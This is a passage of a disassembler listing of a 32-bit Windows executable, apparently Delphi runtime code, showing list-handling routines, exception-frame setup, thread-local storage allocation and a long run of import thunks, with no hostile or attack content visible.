dword_4001A03C mov [eax], edx mov [eax+4], ebx mov dword_4001A03C, eax pop ebx retn sub_400060A4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400060C4 proc near ; CODE XREF: sub_4000609Cp ; sub_4000CC50+2Cp push ebx push esi push edi push ebp mov ebp, eax mov edi, dword_4001A03C test edi, edi jz short loc_400060F5 mov eax, [edi+4] cmp eax, ebp jnz short loc_400060F5 mov eax, dword_4001A03C mov eax, [eax] mov dword_4001A03C, eax mov edx, 8 mov eax, edi call sub_40002C3C jmp short loc_40006122 ; --------------------------------------------------------------------------- loc_400060F5: ; CODE XREF: sub_400060C4+Ej ; sub_400060C4+15j mov ebx, edi test ebx, ebx jz short loc_40006122 loc_400060FB: ; CODE XREF: sub_400060C4+5Cj mov esi, [ebx] test esi, esi jz short loc_4000611C mov eax, [esi+4] cmp eax, ebp jnz short loc_4000611C mov edi, esi mov eax, [esi] mov [ebx], eax mov edx, 8 mov eax, edi call sub_40002C3C jmp short loc_40006122 ; --------------------------------------------------------------------------- loc_4000611C: ; CODE XREF: sub_400060C4+3Bj ; sub_400060C4+42j mov ebx, [ebx] test ebx, ebx jnz short loc_400060FB loc_40006122: ; CODE XREF: sub_400060C4+2Fj ; sub_400060C4+35j ... pop ebp pop edi pop esi pop ebx retn sub_400060C4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40006128 proc near ; CODE XREF: sub_40006194+1Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_4], eax mov eax, dword_4001A03C mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4000617B loc_40006142: ; CODE XREF: sub_40006128+51j xor eax, eax push ebp push offset loc_40006163 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [ebp+var_8] mov eax, [ebp+var_4] call dword ptr [ebx+4] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_4000616D ; --------------------------------------------------------------------------- loc_40006163: ; DATA XREF: sub_40006128+1Do jmp sub_400040D8 ; --------------------------------------------------------------------------- call sub_40004360 loc_4000616D: ; CODE XREF: sub_40006128+39j mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40006142 loc_4000617B: ; CODE XREF: sub_40006128+18j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_40006128 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40006184 proc near ; CODE XREF: sub_40006468+5p mov edx, off_4001A038 mov [eax], edx mov off_4001A038, eax retn sub_40006184 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40006194 proc near ; CODE XREF: sub_40004790+73p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax xor edx, edx push ebp push offset loc_400061F8 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov eax, [eax+4] call sub_40006128 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400061FF loc_400061C1: ; CODE XREF: sub_40006194+69j mov eax, [ebp+var_4] cmp eax, off_4001A038 jnz short loc_400061D8 mov eax, [ebp+var_4] mov eax, [eax] mov off_4001A038, eax jmp short loc_400061F7 ; --------------------------------------------------------------------------- loc_400061D8: ; CODE XREF: sub_40006194+36j mov eax, off_4001A038 test eax, eax jz short loc_400061F7 loc_400061E1: ; CODE XREF: sub_40006194+61j mov edx, [eax] cmp edx, [ebp+var_4] jnz short loc_400061F1 mov edx, [ebp+var_4] mov edx, [edx] mov [eax], edx jmp short loc_400061F7 ; --------------------------------------------------------------------------- loc_400061F1: ; CODE XREF: sub_40006194+52j mov eax, [eax] test eax, eax jnz short loc_400061E1 loc_400061F7: ; CODE XREF: sub_40006194+42j ; sub_40006194+4Bj ... retn ; --------------------------------------------------------------------------- loc_400061F8: ; DATA XREF: sub_40006194+Ao jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400061C1 ; --------------------------------------------------------------------------- loc_400061FF: ; CODE XREF: sub_40006194:loc_400061F7j ; DATA XREF: sub_40006194+28o pop ecx pop ebp retn sub_40006194 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40006204 proc near ; CODE XREF: sub_40003D9C+7Ep ; sub_40005314+BFp ... mov edx, [eax] test edx, edx jz short locret_40006218 mov dword ptr [eax], 0 push eax push edx mov eax, [edx] call dword ptr [eax+8] pop eax locret_40006218: ; CODE XREF: sub_40006204+4j retn sub_40006204 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000621C proc near ; CODE XREF: sub_40003D6C+27j ; sub_40003D9C+63p ... test edx, edx jz short loc_40006239 push edx push eax mov eax, [edx] push edx call dword ptr [eax+4] pop eax mov ecx, [eax] pop dword ptr [eax] test ecx, ecx jnz short loc_40006232 retn ; --------------------------------------------------------------------------- loc_40006232: ; CODE XREF: sub_4000621C+13j mov eax, [ecx] push ecx call dword ptr [eax+8] retn ; --------------------------------------------------------------------------- loc_40006239: ; CODE XREF: sub_4000621C+2j mov ecx, [eax] test ecx, ecx mov [eax], edx jz short locret_40006247 mov eax, [ecx] push ecx call dword ptr [eax+8] locret_40006247: ; CODE XREF: sub_4000621C+23j retn sub_4000621C endp ; =============== S U B R O U T I N E ======================================= sub_40006248 proc near ; DATA XREF: .text:40001110o ; .text:40007938o add eax, 4 push eax call sub_40001280 ; InterlockedDecrement retn sub_40006248 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40006254 proc near ; DATA XREF: .text:40001114o ; .text:4000793Co cmp dword ptr [eax+4], 0 jz short locret_40006261 mov al, 2 call sub_40002D50 ; --------------------------------------------------------------------------- locret_40006261: ; CODE XREF: sub_40006254+4j retn sub_40006254 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40006264 proc near ; DATA XREF: .text:40001120o ; .text:40007948o call sub_40003C80 mov dword ptr [eax+4], 1 retn sub_40006264 endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp push ebx mov ebx, [ebp+8] mov ecx, [ebp+10h] mov edx, [ebp+0Ch] mov eax, ebx call sub_40003D9C test al, al jz short loc_40006290 xor eax, eax jmp short loc_40006295 ; --------------------------------------------------------------------------- loc_40006290: ; CODE XREF: .text:4000628Aj mov eax, 80004002h loc_40006295: ; CODE XREF: .text:4000628Ej pop ebx pop ebp retn 0Ch ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp mov eax, [ebp+8] add eax, 4 push eax call sub_40001278 ; InterlockedIncrement pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] lea eax, [ebx+4] push eax call sub_40001280 ; InterlockedDecrement mov esi, eax test esi, esi jnz short loc_400062D0 mov dl, 1 mov eax, ebx mov ecx, [eax] call dword ptr [ecx-4] loc_400062D0: ; CODE XREF: .text:400062C5j mov eax, esi pop esi pop ebx pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_400062D8 proc near ; CODE XREF: sub_40017A1C+31Ap arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_400062E6 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_400062E6: ; CODE XREF: sub_400062D8+8j call off_4001A728 pop ebp retn sub_400062D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400062F0 proc near ; CODE XREF: sub_40004624+16p ; sub_4000A8E0+2Ep ... var_1008 = byte ptr -1008h push ebx push esi add esp, 0FFFFF004h push eax mov esi, edx mov ebx, eax test ebx, ebx jz short loc_4000633E cmp dword ptr [ebx+4], 10000h jge short loc_40006334 push 1000h lea eax, [esp+100Ch+var_1008] push eax mov eax, [ebx+4] push eax mov eax, [ebx] mov eax, [eax] call sub_40005C08 push eax call sub_40001218 ; LoadStringA mov ecx, eax mov edx, esp mov eax, esi call sub_40004974 jmp short loc_4000633E ; --------------------------------------------------------------------------- loc_40006334: ; CODE XREF: sub_400062F0+18j mov eax, esi mov edx, [ebx+4] call sub_40004A7C loc_4000633E: ; CODE XREF: sub_400062F0+Fj ; sub_400062F0+42j add esp, 1000h pop esi pop ebx retn sub_400062F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006348 proc near ; CODE XREF: .itext:40019080p jmp ds:dword_40024414 sub_40006348 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40006350 proc near ; DATA XREF: .text:40018320o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_400063A4 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001C5B8 jnz short loc_40006396 mov eax, offset dword_4001C050 call sub_4000349C mov eax, offset dword_4001C21C call sub_4000349C mov eax, offset dword_4001C3E8 call sub_4000349C call sub_40002BB4 mov eax, offset off_4001A040 call sub_40004884 loc_40006396: ; CODE XREF: sub_40006350+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_400063AB loc_400063A3: ; CODE XREF: sub_40006350+59j retn ; --------------------------------------------------------------------------- loc_400063A4: ; DATA XREF: sub_40006350+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_400063A3 ; --------------------------------------------------------------------------- loc_400063AB: ; CODE XREF: sub_40006350:loc_400063A3j ; DATA XREF: sub_40006350+4Eo pop ebp retn sub_40006350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400063B0 proc near ; CODE XREF: sub_40006474+Cp jmp ds:dword_400244C0 sub_400063B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400063B8 proc near ; CODE XREF: sub_400063D0+3p jmp ds:dword_400244BC sub_400063B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400063C0 proc near ; CODE XREF: sub_40006428+25p ; sub_40006428+36p jmp ds:dword_400244B8 sub_400063C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400063C8 proc near ; CODE XREF: sub_400063E4+3Dp jmp ds:dword_400244B4 sub_400063C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_400063D0 proc near ; CODE XREF: sub_400063E4+21p push eax push 40h call sub_400063B8 ; LocalAlloc retn sub_400063D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400063DC proc near ; CODE XREF: sub_400063E4+1p mov eax, 0Ch retn sub_400063DC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400063E4 proc near ; CODE XREF: sub_40006428:loc_40006442p push ebx call sub_400063DC mov ebx, eax test ebx, ebx jz short loc_40006426 cmp TlsIndex, 0FFFFFFFFh jnz short loc_40006403 mov eax, 0E2h call sub_40004878 ; --------------------------------------------------------------------------- loc_40006403: ; CODE XREF: sub_400063E4+13j mov eax, ebx call sub_400063D0 test eax, eax jnz short loc_4000641A mov eax, 0E2h call sub_40004878 ; --------------------------------------------------------------------------- jmp short loc_40006426 ; --------------------------------------------------------------------------- loc_4000641A: ; CODE XREF: sub_400063E4+28j push eax mov eax, TlsIndex push eax call sub_400063C8 ; TlsSetValue loc_40006426: ; CODE XREF: sub_400063E4+Aj ; sub_400063E4+34j pop ebx retn sub_400063E4 endp ; =============== S U B R O U T I N E ======================================= sub_40006428 proc near ; CODE XREF: sub_40002CA4p ; sub_40002CA4+Ep ... mov cl, ds:byte_4001E7F4 mov eax, TlsIndex test cl, cl jnz short loc_4000645D mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_40006442: ; CODE XREF: sub_40006428+3Dj call sub_400063E4 mov eax, TlsIndex push eax call sub_400063C0 ; TlsGetValue test eax, eax jz short loc_40006457 retn ; --------------------------------------------------------------------------- loc_40006457: ; CODE XREF: sub_40006428+2Cj mov eax, ds:dword_4001E7FC retn ; --------------------------------------------------------------------------- loc_4000645D: ; CODE XREF: sub_40006428+Dj push eax call sub_400063C0 ; TlsGetValue test eax, eax jz short loc_40006442 retn sub_40006428 endp ; =============== S U B R O U T I N E ======================================= sub_40006468 proc near ; CODE XREF: sub_40006474+2Ep mov eax, offset dword_4001A7B4 call sub_40006184 retn sub_40006468 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40006474 proc near ; CODE XREF: .itext:40019408p push ebx mov ebx, eax xor eax, eax mov TlsIndex, eax push 0 call sub_400063B0 ; GetModuleHandleA mov ds:dword_4001E7F8, eax mov eax, ds:dword_4001E7F8 mov dword_4001A7B8, eax xor eax, eax mov dword_4001A7BC, eax xor eax, eax mov dword_4001A7C0, eax call sub_40006468 mov edx, offset dword_4001A7B4 mov eax, ebx call sub_400045E4 pop ebx retn sub_40006474 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400064B8 proc near ; CODE XREF: sub_40017944+35p jmp ds:dword_4002461C sub_400064B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400064C0 proc near ; CODE XREF: sub_400141BC+1Ap ; sub_400141EC+14p jmp ds:dword_40024618 sub_400064C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400064C8 proc near ; CODE XREF: sub_40014250+AEp jmp ds:dword_40024614 sub_400064C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400064D0 proc near ; CODE XREF: sub_400141BC+11p jmp ds:dword_40024610 sub_400064D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400064D8 proc near ; CODE XREF: sub_40014250+7Ap ; sub_40014374+6Cp ... jmp ds:dword_4002460C sub_400064D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400064E0 proc near ; CODE XREF: sub_4001452C+32p ; sub_400146B4+2Bp jmp ds:dword_40024608 sub_400064E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400064E8 proc near ; CODE XREF: sub_4001464C+32p jmp ds:dword_40024604 sub_400064E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400064F0 proc near ; CODE XREF: sub_4000C710+22p ; sub_4000C710+2Bp ... jmp ds:dword_400245FC sub_400064F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400064F8 proc near ; CODE XREF: sub_40007BB4+37p ; sub_40007EBC+58p ... jmp ds:dword_400245F8 sub_400064F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006500 proc near ; CODE XREF: .itext:40019475p jmp ds:dword_400245F4 sub_40006500 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006508 proc near ; CODE XREF: sub_4000C69C+2Ap ; sub_4000C69C+3Ap ... jmp ds:dword_400245F0 sub_40006508 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006510 proc near ; CODE XREF: sub_400171BC+E7p ; sub_400171BC+110p jmp ds:dword_400245EC sub_40006510 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006518 proc near ; CODE XREF: sub_40012E54+23p ; sub_40013448+11p ... jmp ds:dword_400245E8 sub_40006518 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006520 proc near ; CODE XREF: sub_40012AF4+Fp ; sub_40012C6C+16p ... jmp ds:dword_400245E4 sub_40006520 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006528 proc near ; CODE XREF: sub_4000AAF4+53p ; sub_4000AAF4+7Cp jmp ds:dword_400245E0 sub_40006528 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006530 proc near ; CODE XREF: sub_40016F88+46p jmp ds:dword_400245DC sub_40006530 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006538 proc near ; CODE XREF: sub_40016F88+Dp jmp ds:dword_400245D8 sub_40006538 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006540 proc near ; CODE XREF: sub_4000A81C+1Fp jmp ds:dword_400245D4 sub_40006540 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006548 proc near ; CODE XREF: sub_40006758+28p jmp ds:dword_400245D0 sub_40006548 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006550 proc near ; CODE XREF: sub_40016F88+3Dp jmp ds:dword_400245CC sub_40006550 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006558 proc near ; CODE XREF: sub_4000BD44+10p jmp ds:dword_400245C8 sub_40006558 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006560 proc near ; CODE XREF: sub_4000C5B4+4p ; sub_4000C5D0+13p ... jmp ds:dword_400245C4 sub_40006560 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006568 proc near ; CODE XREF: sub_40009414+7Ep ; sub_40009590+8Cp jmp ds:dword_400245C0 sub_40006568 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006570 proc near ; CODE XREF: sub_400080E8+21p jmp ds:dword_400245BC sub_40006570 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006578 proc near ; CODE XREF: .itext:400198D8p jmp ds:dword_400245B8 sub_40006578 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006580 proc near ; CODE XREF: sub_4000C410p jmp ds:dword_400245B4 sub_40006580 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006588 proc near ; CODE XREF: sub_400092B0+4p jmp ds:dword_400245B0 sub_40006588 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006590 proc near ; CODE XREF: sub_4000A868+1Ep ; sub_4000A8B4+13p jmp ds:dword_400245AC sub_40006590 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006598 proc near ; CODE XREF: sub_4000ADE0+41p ; sub_4000ADE0+5Cp ... jmp ds:dword_400245A8 sub_40006598 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065A0 proc near ; CODE XREF: sub_4000C4D8+6p ; sub_4000D28C+9p ... jmp ds:dword_400245A4 sub_400065A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065A8 proc near ; CODE XREF: sub_4000C4D8+17p ; sub_4000D260+19p ... jmp ds:dword_400245A0 sub_400065A8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065B0 proc near ; CODE XREF: sub_4000AF68+54p ; sub_4000AF68+6Fp jmp ds:dword_4002459C sub_400065B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065B8 proc near ; CODE XREF: .itext:4001942Dp ; .itext:4001949Dp jmp ds:dword_40024598 sub_400065B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065C0 proc near ; CODE XREF: sub_400171BC+55p jmp ds:dword_40024594 sub_400065C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065C8 proc near ; CODE XREF: sub_40009414+78p ; sub_40009590+86p ... jmp ds:dword_40024590 sub_400065C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065D0 proc near ; CODE XREF: sub_400179D4+5p ; sub_400179D4+16p ... jmp ds:dword_4002458C sub_400065D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065D8 proc near ; CODE XREF: sub_4000B830+Ep jmp ds:dword_40024588 sub_400065D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065E0 proc near ; CODE XREF: sub_400133D4+2Fp ; sub_4001394C+1Fp ... jmp ds:dword_40024584 sub_400065E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065E8 proc near ; CODE XREF: sub_40012AF4+5Bp ; sub_40012C6C+5Dp ... jmp ds:dword_40024580 sub_400065E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065F0 proc near ; CODE XREF: sub_400173FC+3Bp jmp ds:dword_4002457C sub_400065F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400065F8 proc near ; CODE XREF: sub_40016F88+29p jmp ds:dword_40024578 sub_400065F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006600 proc near ; CODE XREF: sub_40016F88+31p jmp ds:dword_40024574 sub_40006600 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006608 proc near jmp ds:dword_40024570 sub_40006608 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006610 proc near ; CODE XREF: sub_400165F0+3Bp ; sub_400165F0+80p jmp ds:dword_4002456C sub_40006610 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006618 proc near ; CODE XREF: sub_400171BC+12Ap jmp ds:dword_40024568 sub_40006618 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006620 proc near ; CODE XREF: sub_4000C758+4p jmp ds:dword_40024564 sub_40006620 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006628 proc near ; CODE XREF: sub_4000C764+4p ; sub_4000C770+4p jmp ds:dword_40024560 sub_40006628 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006630 proc near ; CODE XREF: sub_400171BC+F8p jmp ds:dword_4002455C sub_40006630 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006638 proc near ; CODE XREF: sub_40016F88+1Bp jmp ds:dword_40024558 sub_40006638 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006640 proc near ; CODE XREF: sub_400179D4+11p ; sub_400179D4+22p jmp ds:dword_40024554 sub_40006640 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006648 proc near ; CODE XREF: sub_4000ADE0+1Dp ; sub_4000B488+6Bp jmp ds:dword_40024550 sub_40006648 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006650 proc near ; CODE XREF: sub_4000C77C+8p ; sub_4000C78C+8p jmp ds:dword_4002454C sub_40006650 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006658 proc near ; CODE XREF: sub_400171BC+179p jmp ds:dword_40024548 sub_40006658 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006660 proc near ; CODE XREF: sub_4000AF68+5Ap ; sub_4000AF68+75p ... jmp ds:dword_40024544 sub_40006660 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006668 proc near ; CODE XREF: .itext:4001948Ep jmp ds:dword_40024540 sub_40006668 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006670 proc near ; CODE XREF: sub_40015270+ABp jmp ds:dword_40024538 sub_40006670 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006678 proc near ; CODE XREF: sub_40014F8C+1D1p jmp ds:dword_40024534 sub_40006678 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006680 proc near ; CODE XREF: sub_4001567C+10Bp jmp ds:dword_40024530 sub_40006680 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006688 proc near ; CODE XREF: sub_400151D0+63p jmp ds:dword_4002452C sub_40006688 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006690 proc near ; CODE XREF: sub_40015840+6Cp jmp ds:dword_40024528 sub_40006690 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006698 proc near ; CODE XREF: sub_40015C34+78p jmp ds:dword_40024524 sub_40006698 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066A0 proc near ; CODE XREF: sub_40015430+19p jmp ds:dword_40024520 sub_400066A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066A8 proc near ; CODE XREF: sub_4001567C+4Ap jmp ds:dword_4002451C sub_400066A8 endp ; --------------------------------------------------------------------------- align 10h db 0FFh db 25h ; % db 18h ; OFF32 SEGDEF [_idata,40024518] db 45h ; E db 2 db 40h ; @ align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066B8 proc near ; CODE XREF: sub_4001567C+69p ; sub_4001567C+8Dp ... jmp ds:dword_40024514 sub_400066B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066C0 proc near ; CODE XREF: sub_40015918+26p jmp ds:dword_40024510 sub_400066C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066C8 proc near ; CODE XREF: sub_40015380+1Fp jmp ds:dword_4002450C sub_400066C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066D0 proc near ; CODE XREF: sub_40015478+26p ; sub_40015478+35p ... jmp ds:dword_40024508 sub_400066D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066D8 proc near ; CODE XREF: sub_40015840+56p jmp ds:dword_40024504 sub_400066D8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066E0 proc near ; CODE XREF: sub_40015600+41p ; sub_40015600+67p jmp ds:dword_40024500 sub_400066E0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066E8 proc near ; CODE XREF: sub_40015600+4Cp ; sub_40015600+72p jmp ds:dword_400244FC sub_400066E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066F0 proc near ; CODE XREF: sub_400155D0+29p jmp ds:dword_400244F8 sub_400066F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_400066F8 proc near ; CODE XREF: sub_400155A4+25p jmp ds:dword_400244F4 sub_400066F8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006700 proc near ; CODE XREF: sub_40015600+Cp jmp ds:dword_400244F0 sub_40006700 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006708 proc near ; CODE XREF: sub_4000BB60+Dp ; sub_4000BB80+1p jmp ds:dword_400244E4 sub_40006708 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40006710 proc near ; CODE XREF: sub_4000AF68+37p jmp ds:dword_400244E8 sub_40006710 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E 